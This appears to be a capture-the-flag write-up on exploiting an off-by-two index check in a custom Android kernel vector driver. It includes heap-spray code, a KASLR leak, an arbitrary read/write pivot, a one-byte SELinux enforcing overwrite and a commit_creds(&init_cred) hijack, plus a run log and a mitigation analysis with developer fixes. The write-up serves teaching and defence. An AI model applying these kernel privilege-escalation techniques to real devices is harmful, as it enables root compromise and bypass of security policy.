MHL CTF 2026 - Off-By-Two to Root on Android
Introduction
The gods brought an Android Kernel chall my way, coincidentally I was on a work leave, talk of perfect timing. MobileHackingLab’s Faulty Vector lab pitched itself like this:
Store your precious embeddings IN-THE-KERNEL cause userspace too slow. Features: fast lookups, zero OOBs, a destructor that you’ll never use and more.
We are taking some preliminary measures to switch from storing vectors in a dedicated cache to a more flexible, generic cache.
This got me thinking, there is one OOB, and we are absolutely going to use that destructor.
That second paragraph is worth pinning up somewhere, because once you read the shipped driver it turns out to be a lie of tense. Nothing has been switched. vector_t still lives in a private kmem_cache, created with SLAB_NO_MERGE, and never touches kmalloc at all. What has happened is subtler, and we’ll come back to it once we know what a cache is.
The target is a custom character device on Android 15, kernel 6.6.46, and the objective is the flag at /data/vendor/secret/flag.txt - which, being under /data/vendor, is not somewhere you wander into by asking politely. We need uid=0, and we also need to surgically spay SELinux.
The whole thing hinges on a bounds check that permits exactly two more array indices than the array actually has. No stack smash. No use-after-free. No race. Two words.
The lab ships two environments, and the split matters:
| Debug environment | Corellium device | |
|---|---|---|
| Purpose | spin exploits at will, crash and validate | the actual objective |
| KASLR | off (nokaslr) - slide is 0 | on |
| SELinux | excluded | enforcing |
| Kernel VA | 0xffff8000… (48-bit) | 0xffffffc0… (39-bit) |
| Flag | our dummy at /root/flag.txt | /data/vendor/secret/flag.txt |
We obviously build the exploit on debug where the addresses hold still and nothing is watching, then port.
The chall authors were generous enough to provide the driver source, the kernel commit hash (99c4a96a8381a1faaf3ea8518fb31cf181cb3507), both kernel builds with their .config, and crucially vmlinux for each. That last one means we can nm the target instead of hunting symbols by hand.
Debug creds are mhl:hacker and root:toor; we’ll be using the unprivileged one, obviously. Btw, the debug VM is just a plain QEMU invocation:
1
2
3
4
qemu-system-aarch64 -machine virt -cpu cortex-a55 -nographic -smp 2 \
-hda ./rootfs.ext2 -kernel ./kernel/arch/arm64/boot/Image \
-append "console=ttyAMA0 root=/dev/vda nokaslr" \
-m 4096 -net user,hostfwd=tcp::10023-:22 -net nic -s
Note -s, that’s a gdb stub on localhost:1234, so target remote :1234 with the debug vmlinux loaded gets you source-level kernel debugging. Note also -smp 2, which will matter when we start worrying about which CPU our allocations come from.
Now, let’s reflect back on some basics before diving into the cook. Basics like what a page is, how SLUB carves them up, why objects end up neighbours, because the “why” of this exploit lives entirely in allocator behaviour. If you already know SLUB cold, skip ahead to The Target.
Pages, and why they aren’t enough
The kernel does not hand out memory in bytes. The hardware’s unit of memory management is the page - on arm64 typically 4 KiB - because that is the granularity at which the MMU can map, protect, and translate.
So the bottom-most allocator in Linux, the buddy allocator, deals in power-of-two runs of pages: one page (order 0), two pages (order 1), four (order 2), up to order 10.
Which is great for mapping a process’s address space, and ridiculous for allocating a 200-byte struct. If every small kernel object burned a full 4 KiB page, the kernel would waste more memory than it used.
This is the problem the slab layer exists to solve.
SLUB basics
Linux’s default slab allocator is SLUB, and the idea is refreshingly simple:
- Ask the buddy allocator for a run of contiguous pages.
- Slice that run into equally sized objects.
- Hand them out one at a time.
A sliced-up run of pages is a slab. The collection of slabs serving one object size is a cache (struct kmem_cache).
Caches come in two flavours:
- Dedicated caches, created with
kmem_cache_create()for one specific struct -task_struct,cred,file. - Generic caches - the
kmalloc-Nfamily, used by everykmalloc()that isn’t asking for a dedicated type. These are size classes:kmalloc-8,kmalloc-16, …kmalloc-192,kmalloc-256, and so on.
Call kmalloc(200, GFP_KERNEL) and the allocator rounds 200 up to the next class, 256, and serves you an object out of kmalloc-256.
“Preliminary measures”: what actually shipped
Back to that line from the brief:
switch from storing vectors in a dedicated cache to a more flexible, generic cache
Here is the driver’s init path:
1
2
3
4
5
6
7
vecache_cache = kmem_cache_create(
"vecache",
sizeof(vector_t),
0,
SLAB_NO_MERGE,
NULL
);
So: still a dedicated cache, and SLAB_NO_MERGE on top, which stops SLUB from folding vecache in with other same-size caches. The slabs contain vector_t and nothing else. The migration the chall description announces has not happened.
Which is defensively the good configuration, and worth understanding before we mock it. What a dedicated cache buys you is isolation: your objects can never end up adjacent to a cred, a file, a msg_msg, or any of the other usual suspects. That kills cross-cache attacks outright, which is exactly why hardened allocators push sensitive structures into their own caches.
So what were the “preliminary measures”? My reading, and this is interpretation, not something the source states, is this line:
1
static_assert(sizeof(vector_t) == 0x100, "vector_t size must be exactly 0x100 bytes");
Somebody pinned the struct to exactly 256 bytes, which is precisely a kmalloc size class. That’s a sensible thing to do if you’re preparing to move into the generic pool, where landing cleanly on a size boundary avoids wasting a chunk of every allocation.
It is also, as we’re about to see, the single property that turns a two-index overflow into a precision weapon. The preparation for the migration is the enabling condition for the bug. The migration itself never arrived.
Where the freelist lives
Here is the design decision that makes heap exploitation the sport that it is.
SLUB tracks free objects with a singly linked list - the freelist. But it does not keep that list in a separate array somewhere respectable. It stores each “next” pointer inside the free object itself, on the entirely reasonable grounds that a free object’s contents are garbage nobody is using.
Allocation pops the head of the freelist. Freeing pushes the object back onto the head. It’s LIFO, and that has a consequence worth tattooing somewhere:
Free an object, then immediately allocate the same size, and you will very often get the exact same memory back.
That property is the engine behind use-after-free and type confusion. We won’t need it today - our bug is an overflow, not a UAF, but it’s why heap grooming works at all.
The property we do need: adjacency
Objects inside a slab are laid out back to back, exactly object_size apart, with no gaps, provided the kernel isn’t built with SLUB_DEBUG redzones or KASAN, which insert poison padding between objects.
Neither lab kernel enables them at runtime, as we’ll confirm from the configs. So in vecache, object n and object n+1 sit exactly 256 bytes apart.
Which means: if you can write past the end of one object, you are writing into the header of the next one.
Hold that thought.
The Target
The lab ships a character device, /dev/vector, driven entirely through ioctl:
1
2
3
4
5
#define ALLOCATE_VECTOR 0x1337001
#define UPDATE_VECTOR 0x1337002
#define GET_VECTOR 0x1337003
#define HANDLE_VECTOR 0x1337004
#define DESTROY_VECTOR 0x1337005
HANDLE_VECTOR is, in its entirety:
1
2
3
4
case HANDLE_VECTOR: {
// todo
break;
}
Remember that. It becomes relevant in a way its author presumably didn’t intend.
The driver manages a global table of up to MAX_VECS (0x500) vector objects:
1
2
static vector_t* vecs[MAX_VECS];
static struct kmem_cache *vecache_cache;
Global - not per-file-descriptor, not per-process. Brain tattoo that.
Each object:
1
2
3
4
5
6
7
8
9
10
11
#define MAX_VEC_SZ 0x100
typedef struct {
uint64_t* vecp; // 0x00 base pointer for all reads/writes
void (*destructor)(uint64_t*); // 0x08 the one "you'll never use"
void (*handle)(uint64_t*); // 0x10 the one that's // todo
uint64_t inuse; // 0x18
uint64_t vec[(MAX_VEC_SZ-0x20)/sizeof(uint64_t)]; // 0x20 .. 0xFF
} vector_t;
static_assert(sizeof(vector_t) == 0x100, "vector_t size must be exactly 0x100 bytes");
Let’s do the math, because the math is the vulnerability:
- Header: four 8-byte fields = 0x20 bytes
- Payload:
(0x100 - 0x20) / 8= 28 entries ofuint64_t= 224 bytes - Total:
0x20 + 0xE0= 0x100 = 256 bytes
The static_assert makes sure it stays that way. An object that exactly fills its slab slot has no slack at either end, so anything that runs off the end of vec[] lands on the next object’s first byte, not on padding.
Two header fields are interesting to anyone with bad intentions:
vecp- every read and write goes through this pointer:1 2
vecs[fdx]->vecp[vecarg.idx] = vecarg.vecv; /* UPDATE_VECTOR */ copy_to_user(..., &vecs[fdx]->vecp[vecarg.idx], 8); /* GET_VECTOR */
At allocation it’s pointed at the object’s own payload:
vecs[fdx]->vecp = (uint64_t*)&vecs[fdx]->vec;destructor- a function pointer, and the free path calls it like this:1 2 3
vecs[fdx]->inuse = 0; vecs[fdx]->destructor(vecs[fdx]->vecp); vecs[fdx] = NULL;
Note the argument. It isn’t the object, it’s
vecp, the field we also control. The real callback accounts for this by walking backwards:1 2 3 4 5
static void vector_free_callback(uint64_t* v) { if (v) { kmem_cache_free(vecache_cache, (void*)(((char*)v)-0x20)); } }
That
-0x20is the header it’s skipping back over. Keep an eye on that number too.
Control both fields and you have an arbitrary read/write primitive and a call-this-function-with-this-argument primitive, in the same object. That is the entire game.
The bug
The driver absolutely does validate the index. Both UPDATE_VECTOR and GET_VECTOR carry the identical check:
1
2
3
4
if (vecarg.idx < 0 || vecarg.idx >= (MAX_VEC_SZ-0x10)/sizeof(uint64_t)) {
printk(KERN_ERR "vector: invalid index\n");
goto unlock_leave;
}
And here is the array it’s supposedly guarding:
1
uint64_t vec[(MAX_VEC_SZ-0x20)/sizeof(uint64_t)];
Read those two lines next to each other. -0x10 in one, -0x20 in the other.
1
2
check: (0x100 - 0x10) / 8 = 30 -> accepts idx 0 .. 29
array: (0x100 - 0x20) / 8 = 28 -> valid idx 0 .. 27
Root Cause Analysis
This isn’t a typo’d constant, it’s two expressions describing the same header and disagreeing about how big it is. The check was written for a 0x10 header: vecp and destructor, two pointers, with the payload running from 0x10 to 0xFF as vec[30]. Under that layout the bound is exactly right.
Then somebody added handle and inuse.
The header grew to 0x20, the array expression was updated to -0x20 and shrank to 28 entries, and the bounds check was left behind. The two fields that got added are, index for index, the two out-of-bounds slots that now sail through validation. One of them is a function pointer that HANDLE_VECTOR never calls.
Dead code made the hole. Nobody noticed because vec[] and the check live sixty lines apart and both expressions look plausible in isolation.
Where do the two extra words land? The struct is 256 bytes, the slab slot is 256 bytes, and static_assert guarantees they stay equal:
1
2
&vec[28] = base + 0x20 + 28*8 = base + 0x100 = next_object + 0x00 -> vecp
&vec[29] = base + 0x20 + 29*8 = base + 0x108 = next_object + 0x08 -> destructor
This is not a sloppy overflow landing in slack space and mangling a length field. Because the object exactly fills its slab slot, the two out-of-bounds indices land with surgical precision on the two most valuable fields of the neighbour. It’s less a buffer overflow than a guided missile.
You can watch the compiler agree with all of this. Here’s the UPDATE_VECTOR path out of the shipped Corellium vmlinux:
1
2
3
4
5
ffffffc0806c6918: f100743f cmp x1, #0x1d ; idx vs 29
ffffffc0806c691c: 54000d88 b.hi 0xffffffc0806c6acc ; reject if above
...
ffffffc0806c6930: f9400000 ldr x0, [x0] ; x0 = v->vecp
ffffffc0806c693c: f8217802 str x2, [x0, x1, lsl #3] ; vecp[idx] = val
cmp #0x1d is cmp #29, and b.hi is unsigned higher, so 28 and 29 walk right through, and four instructions later they’re a scaled store through vecp.
Everything that follows is plumbing.
The fix: make one expression the source of truth.
idx >= ARRAY_SIZE(v->vec)can’t drift, because it’s derived from the array itself rather than from a developer’s recollection of how big the header was.
Grooming the heap
To overflow into something useful we need a vector_t sitting immediately after another vector_t, and here the private cache is doing us a favour. Because vecache holds nothing but vectors, every neighbour is already the object type we want. No cross-cache gymnastics, no competing allocations to out-race.
What we still can’t assume is which vectors end up adjacent. Early allocations land in whatever partial slab already exists, with gaps from earlier frees.
So we allocate/spray enough objects that the holes run out and the allocator starts carving fresh slabs, which are dense and contiguous.
1
2
3
4
5
6
int i, n = 0x180; /* 384 objects */
uint64_t init[(MAX_VEC_SZ - 0x20) / sizeof(uint64_t)];
memset(init, 0x41, sizeof(init)); /* every payload word = 0x4141414141414141 */
for (i = 0; i < n; i++)
ids[i] = vec_alloc(init);
We also prim every payload with a 0x41 canary. Later, when we redirect some object’s vecp elsewhere, that object will stop reading back 0x4141414141414141, and that’s how we’ll identify it.
Two housekeeping details before the spray.
First, we clear stale state:
1
2
3
for (i = 0; i < MAX_VECS; i++)
if (vec_destroy_try(i) == 0)
cleaned++;
Remember the driver’s object table is global, not per-fd. A previous failed run leaves slots occupied and ALLOCATE_VECTOR starts refusing you. Pre-cleaning makes the exploit re-runnable, which saves a genuinely depressing number of reboots.
Second, we pin to a core:
1
pin_thread(0);
SLUB keeps per-CPU freelists (kmem_cache_cpu). If your allocations migrate between cores mid-spray they come from different slabs, and your carefully groomed adjacency evaporates. The debug VM runs -smp 2 and the Corellium device probably has more. Pinning removes the variable.
Leaking the kernel base
With a dense spray in place, we scan for a pair of adjacent objects by reading the OOB indices and checking whether what comes back looks like a kernel pointer:
1
2
3
4
5
6
7
8
9
10
11
12
static int is_kernel_ptr(uint64_t x) {
return ((x & 0xffff000000000000ULL) == 0xffff000000000000ULL);
}
for (i = 0; i < n - 1; i++) {
leak_vecp_b = vec_get(ids[i], 28); /* neighbour's vecp */
leak_dtor_b = vec_get(ids[i], 29); /* neighbour's destructor */
if (is_kernel_ptr(leak_vecp_b) && is_kernel_ptr(leak_dtor_b)) {
a = ids[i];
break;
}
}
If both reads come back as kernel addresses, we’re looking at a real neighbouring object’s header rather than slab padding or unmapped space.
And leak_dtor_b is that destructor we were never going to use. Every vector_t is initialised with the same callback, so we know exactly which symbol we’re staring at, vector_free_callback, and we have its link-time address from the extracted vmlinux:
1
2
3
4
$ nm -n vmlinux | grep -E ' (vector_free_callback|commit_creds|init_cred)$'
ffffffc0806c6720 t vector_free_callback
ffffffc0800761c4 T commit_creds
ffffffc0819225f0 D init_cred
The kernel image is relocated as a single unit by KASLR, so one known symbol fixes every other symbol in the image:
1
2
3
4
kaslr_slide = leak_dtor_b - VECTOR_FREE_CALLBACK_ADDR;
commit_creds_rt = COMMIT_CREDS_ADDR + kaslr_slide;
init_cred_rt = INIT_CRED_ADDR + kaslr_slide;
selinux_state_rt = SELINUX_STATE_ADDR + kaslr_slide;
A note on those addresses. 0xffffffc0… is an arm64 kernel VA under a 39-bit address space (CONFIG_ARM64_VA_BITS=39), the common Android configuration. The commented-out block in the exploit carries 0xffff8000… addresses instead, those are from the 48-bit layout of a nokaslr QEMU debug boot, which is where you’d sanely develop this before porting to the Corellium device. The is_kernel_ptr() mask is deliberately loose enough to accept both.
Finding the actual victim
You’d assume the object adjacent to ids[i] is ids[i+1].
Welll,,,,it frequently isn’t.
Modern kernels build with CONFIG_SLAB_FREELIST_RANDOM, which shuffles the order in which a fresh slab’s objects get handed out. Allocation n and allocation n+1 are not reliably address-adjacent. On top of that, early allocations in the spray may have filled holes scattered across older partial slabs.
So instead of assuming, we probe:
1
2
3
4
5
6
7
8
9
10
11
12
/* point the neighbour's vecp at a known-good kernel text address */
vec_update(a, 28, leak_dtor_b);
/* whichever object stops reading back 0x4141... is the neighbour */
for (i = 0; i < n; i++) {
if (ids[i] == a) continue;
probe = vec_get(ids[i], 0);
if (probe != INIT_WORD) { /* INIT_WORD == 0x4141414141414141 */
victim = ids[i];
break;
}
}
This is tidy work: corrupt one field, then let the driver’s own read primitive tell us which object we hit. The 0x41 canary earns its keep.
And look what just happened. By controlling victim->vecp, we control where all of the victim’s reads and writes land.
A two-word overflow is now an arbitrary read/write primitive:
1
2
GET_VECTOR(victim, i) -> *(victim->vecp + i) /* read anywhere */
UPDATE_VECTOR(victim, i, x) -> *(victim->vecp + i) = x /* write anywhere */
So much for zero OOBs. lol!
Disarming SELinux
This is the step the debug environment becomes a bit useless, and it’s worth being precise about how thoroughly it can’t:
1
2
3
4
$ grep -c SECURITY_SELINUX kernel/.config
0
$ nm kernel/vmlinux | grep -ci selinux
0
Not “SELinux is permissive on debug” - SELinux isn’t compiled in. There is no selinux_state symbol to point vecp at. If you port the exploit across without guarding this step, you’ll write to whatever that stale address happens to be and take the kernel with you.
Everything up to here behaves identically in both environments. From here on we’re writing code we cannot test until we’re on Corellium, which is an uncomfortable place to be and worth planning around , stub it behind a flag, get uid=0 proven on debug first, then enable it.
On Android, uid=0 is not the finish line, it’s the qualifying round. SELinux is enforcing, and policy will cheerfully deny even a root process access to /data/vendor/secret/. Escalate privileges, immediately open() the flag, and you eat a brutal AVC denial for your trouble.
So we deal with SELinux first, while the arbitrary write is clean:
1
2
3
vec_update(a, 28, selinux_state_rt); /* victim->vecp = &selinux_state */
selinux_state_word = vec_get(victim, 0); /* read the first 8 bytes */
vec_update(victim, 0, selinux_state_word & ~0xffULL); /* clear the low byte */
The read-modify-write matters. struct selinux_state packs several bool flags into its opening bytes, and a blind 8-byte write of zero would flatten the neighbours. Reading first and masking only the low byte flips exactly one flag.
Which flag? On this kernel, the first one:
1
2
3
4
5
6
7
8
struct selinux_state {
#ifdef CONFIG_SECURITY_SELINUX_DEVELOP
bool enforcing;
#endif
bool checkreqprot;
bool initialized;
/* ... */
} __randomize_layout;
Two things have to hold for enforcing to sit at offset 0, and both are checkable rather than assumed.
First, that #ifdef has to pass, and the Corellium config has CONFIG_SECURITY_SELINUX_DEVELOP=y, so it does.
Second, nothing earlier can precede it. Older trees opened with bool disabled;, which is why plenty of writeups hedge about this offset. That field left with the runtime-disable interface in Linux 5.19; we’re on 6.6.46, so it’s gone.
The __randomize_layout annotation would scramble the whole argument, except the config says CONFIG_RANDSTRUCT_NONE=y, the plugin is off, so the attribute is inert.
One byte, and SELinux goes permissive.
The call
Now the finish. We forge the victim’s header one last time:
1
2
vec_update(a, 28, init_cred_rt); /* victim->vecp = &init_cred */
vec_update(a, 29, commit_creds_rt); /* victim->destructor = commit_creds */
And trigger the driver’s own free path:
1
vec_destroy_try(victim);
Which obligingly executes:
1
v->destructor(v->vecp); /* == commit_creds(&init_cred) */
init_cred is the credential structure belonging to the init task: uid 0, gid 0, every capability set, no restrictions whatsoever. commit_creds() installs whatever credentials you hand it onto the calling task, and since the ioctl runs in our process context, current is us.
No ROP chain. No stack pivot. No shellcode. The driver was already in the business of calling a function pointer with a pointer argument; we just picked both sides.
The destructor you’ll never use, used precisely once, to devastating effect, lol.
The exploit then sweeps the full slot range as a fallback, in case the probed victim wasn’t the corrupted one:
1
2
3
4
for (i = 0; i < MAX_VECS && triggered_fdx < 0; i++) {
(void)vec_destroy_try(i);
if (k_getuid() == 0) { triggered_fdx = i; break; }
}
Note it checks privilege with a raw syscall:
1
static uid_t k_getuid(void) { return (uid_t)syscall(SYS_getuid); }
glibc and bionic cache credential results. Call getuid() through the libc wrapper and you may read a stale pre-escalation value, conclude the exploit failed, and go debugging something that already worked. Ask the kernel directly.
The whole chain
Expected output on the Corellium device, KASLR live:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mhl@localhost:/ $ ./pwnvec
FD limit set to 1048576
[*] cleaned 0 stale vectors
[+] allocated 384 vectors
[+] candidate pair found: a=3 b=4 vecp=0xffffff8008a1c020 dtor=0xffffffc0830c6720
[+] KASLR slide: 0x0000000002a00000
[+] vector_free_callback(leak)=0xffffffc0830c6720 base=0xffffffc0806c6720
[+] commit_creds(runtime)=0xffffffc082a761c4 init_cred(runtime)=0xffffffc0843225f0 ...
[+] resolved victim fdx=7 probe=0xffffffc0830c6720
[+] selinux_state[0] low byte: 0x01 -> 0x00
[+] Overwrote adjacent header: destructor=commit_creds, vecp=&init_cred
[*] trying resolved victim fdx=7
[+] uid=0 obtained (trigger fdx=7)
[+] flag: flag{dum_dum_get_yours_mschewww}
On the debug environment the same run prints a slide of 0x0 and 0xffff8000… addresses, because nokaslr means link-time is runtime. That’s the point of developing there: when something goes wrong, the addresses in your crash log match the ones in nm output, and you can stop guessing.
Which mitigations actually mattered
Since the distribution ships both .config files, we don’t have to speculate. Here’s what’s actually on:
1
2
3
4
5
6
7
$ grep -E 'CFI_CLANG|RANDSTRUCT|SLAB_FREELIST|SLUB_DEBUG|SHADOW_CALL' kernel-corellium/.config
CONFIG_ARCH_SUPPORTS_CFI_CLANG=y # supported...
# CONFIG_SHADOW_CALL_STACK is not set
CONFIG_RANDSTRUCT_NONE=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLUB_DEBUG=y
CONFIG_CFI_CLANG never appears. The architecture supports it; the build doesn’t enable it. Confirmed in the binary, zero __cfi_ or __kcfi_ symbols in either vmlinux, and the destructor call is a bare indirect branch:
1
2
3
4
ffffffc0806c68d8: f9400020 ldr x0, [x1] ; x0 = v->vecp (the argument)
ffffffc0806c68dc: f9000c3f str xzr, [x1, #0x18] ; v->inuse = 0
ffffffc0806c68e0: f9400421 ldr x1, [x1, #0x8] ; x1 = v->destructor (the target)
ffffffc0806c68e4: d63f0020 blr x1 ; and go
Four instructions. Both operands loaded straight out of the object we control, then blr with no type-hash check in front of it. Under kCFI there’d be a load-and-compare against the callee’s prologue hash right before that branch.
| Mitigation | Status | Effect here |
|---|---|---|
KASLR (RANDOMIZE_BASE=y) | on | Defeated. One leaked function pointer relocates the whole image. |
SLAB_FREELIST_RANDOM | on | Slowed me down, broke “neighbour == ids[i+1]”. Worked around by probing with the 0x41 canary. |
SLAB_FREELIST_HARDENED | on | Irrelevant. Obfuscates freelist next pointers; we never touch the freelist. |
SLUB_DEBUG | compiled in, off | Support is built but redzones need SLUB_DEBUG_ON or a slub_debug= boot arg, and neither is set. With them on, vec[28] lands in poison and the bug dies at the first write. |
CFI_CLANG | off | Would have blocked the final call outright. commit_creds is int(*)(struct cred*), called through a void(*)(uint64_t*). Mismatched type hashes, trap. |
SHADOW_CALL_STACK | off | Wouldn’t have mattered, we never touch a return address. |
RANDSTRUCT | off (_NONE=y) | Would shuffle vector_t so vec[28]/vec[29] stop landing on vecp/destructor. Also renders selinux_state’s __randomize_layout meaningless as shipped. |
Dedicated kmem_cache | on (SLAB_NO_MERGE) | The one real win, and it didn’t help, because our victim is the same type as our attacker. It would have stopped a cross-cache pivot to cred or file. |
STATIC_USERMODEHELPER | on | Closes the usermode-helper escalation route. We didn’t need it; commit_creds is more direct. |
selinux_state __ro_after_init | n/a | Would fault the SELinux write. Escalation still lands; the flag read then dies on policy. |
The interesting row is CFI. On a stock Android GKI kernel, which is built with Clang CFI, the clean destructor = commit_creds ending does not survive. The arbitrary read/write from the vecp pivot absolutely does, and a data-only path like walking task_struct to swap the cred pointer stays wide open. CFI raises the cost of the last step; it doesn’t take the primitive away.
The second-most interesting row is the dedicated cache, because it’s the mitigation the challenge brief threatens to remove. As configured, vecache + SLAB_NO_MERGE is genuinely good hygiene, and it bought nothing here for a reason worth internalising: cache isolation protects you from other object types, not from yourself. When the object that overflows and the object that gets corrupted are the same struct, isolation is just a tidier way to arrange the victims.
Takeaways
For pwn peeps:
- Match your struct size to a size class and the overflow lands on structure, not slack.
- Fill payloads with a recognisable pattern. The canary that identifies your victim costs one
memset. - Pin to a CPU before grooming. Per-CPU freelists make unpinned sprays non-deterministic.
- Never assume allocation order equals address order. Probe, then confirm.
- Verify privilege with raw syscalls. libc caches credentials and will lie to you.
For devs:
- Never describe the same layout twice.
-0x10in the check and-0x20in the declaration is the entire bug.ARRAY_SIZE(v->vec)derives the bound from the array, so the two cannot drift. - When you add a field to a struct, grep for every expression that encodes its size. The
static_assertcaught the total size and was blind to the split between header and payload, a useful reminder that an assertion only checks what it checks. - A two-word overflow is not “low severity” when the neighbour’s first two fields are a base pointer and a function pointer.
- Think about field ordering. Function pointers at offsets 0 and 8 of a heap object sit in the blast radius of every adjacent overflow. Payload-first layouts are meaningfully harder to exploit.
- Dedicated caches are worth having, but know what they buy. Isolation protects you from other object types, not from a second instance of yourself.
- Fuzz with KASAN on.
Conclusion
Faulty Vector is a small bug with an enormous blast radius, and the gap between those two things is the whole lesson. The index check is off by two. Not two kilobytes, not two pages, two eight-byte words. But the object exactly fills its slab slot, and the struct puts a base pointer and a function pointer at offsets 0 and 8, so those two words are the only two words you’d ever want.
What makes it a fun bug is that nobody was careless. There is a bounds check, on both read and write paths. There is a dedicated cache with SLAB_NO_MERGE. There is a static_assert pinning the struct size. Someone was paying attention.
The hole opened in the gap between two expressions that describe the same header, -0x10 in the check, -0x20 in the array, written at different times by someone who knew what the header looked like on each of those days. Two fields got added, one expression got updated, and the two fields that were added became, index for index, the two slots that run off the end. One of them is the handle pointer that HANDLE_VECTOR still answers with // todo.
After that it reads almost mechanically: OOB read leaks a function pointer, the pointer defeats KASLR, OOB write pivots a neighbour’s vecp into arbitrary read/write, that disarms SELinux, and the destructor “nobody was ever going to use”, calls commit_creds(&init_cred).
So the lab description was accurate in spirit, if not in tense. Fast lookups? Sure. Zero OOBs? One, and it was plentiful. A destructor you’ll never use? We used it exactly once. A migration to generic caches? Still pending, though the static_assert they added to prepare for it is the reason the overflow lands as cleanly as it does.









